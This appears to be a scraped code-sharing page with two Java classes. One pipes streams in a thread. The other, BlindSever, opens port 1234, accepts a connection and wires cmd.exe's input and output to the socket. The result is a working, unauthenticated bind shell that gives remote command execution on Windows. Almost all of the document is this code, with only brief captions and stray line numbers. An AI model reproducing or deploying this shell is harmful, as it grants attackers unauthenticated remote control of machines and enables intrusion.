1
package cn.liuyq;
2
3
import java.io.BufferedReader;
4
import java.io.BufferedWriter;
5
import java.io.IOException;
6
import java.io.InputStream;
7
import java.io.InputStreamReader;
8
import java.io.OutputStream;
9
import java.io.OutputStreamWriter;
10
11
public class CombineStream extends Thread {
12
private InputStream is;
13
private OutputStream os;
14
15
/**
16
*
17
* @param is
18
* @param os
19
*/
20
public CombineStream(InputStream is, OutputStream os) {
21
this.is = is;
22
this.os = os;
23
}
24
25
/**
26
*
27
* @throws Throwable
28
*/
29
public void run() {
30
BufferedReader br = null;
31
BufferedWriter bw = null;
32
try {
33
br = new BufferedReader(new InputStreamReader(is));
34
bw = new BufferedWriter(new OutputStreamWriter(os));
35
36
char[] buffer = new char[1024*5];
37
int charAt;
38
while ((charAt = br.read(buffer, 0, buffer.length)) > 0) {
39
bw.write(buffer,0,charAt);
40
bw.flush();
41
}
42
43
} catch (Throwable e) {
44
45
} finally {
46
if (br != null) {
47
try {
48
br.close();
49
} catch (IOException e) {
50
// TODO Auto-generated catch block
51
e.printStackTrace();
52
}
53
}
54
if (bw != null) {
55
try {
56
bw.close();
57
} catch (IOException e) {
58
// TODO Auto-generated catch block
59
e.printStackTrace();
60
}
61
}
62
}
63
64
}
65
66
/**
67
*
68
*/
69
public void destroy() {
70
if (is != null) {
71
try {
72
is.close();
73
} catch (IOException e) {
74
// TODO Auto-generated catch block
75
e.printStackTrace();
76
}
77
}
78
if (os != null) {
79
try {
80
os.close();
81
} catch (IOException e) {
82
// TODO Auto-generated catch block
83
e.printStackTrace();
84
}
85
}
86
}
87
88
}
89
above is a thread to combine the inputStrean and outputStream.
2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

BlindSever.java
1
package cn.liuyq;
2
3
import java.io.InputStream;
4
import java.io.OutputStream;
5
import java.net.InetSocketAddress;
6
import java.net.ServerSocket;
7
import java.net.Socket;
8
9
public class BlindSever {
10
11
public static void main(String[] args) throws Throwable{
12
13
ServerSocket serverSocket = new ServerSocket();
14
serverSocket.bind(new InetSocketAddress(1234));
15
Socket socket = serverSocket.accept();
16
17
InputStream is = socket.getInputStream();
18
OutputStream os = socket.getOutputStream();
19
20
Process process = Runtime.getRuntime().exec("cmd.exe");
21
InputStream prois = process.getInputStream();
22
OutputStream proos = process.getOutputStream();
23
24
CombineStream cs1 = new CombineStream(is, proos);
25
CombineStream cs2 = new CombineStream(prois, os);
26
27
cs1.start();
28
cs2.start();
29
30
31
}
32
}
33
open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output
2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33
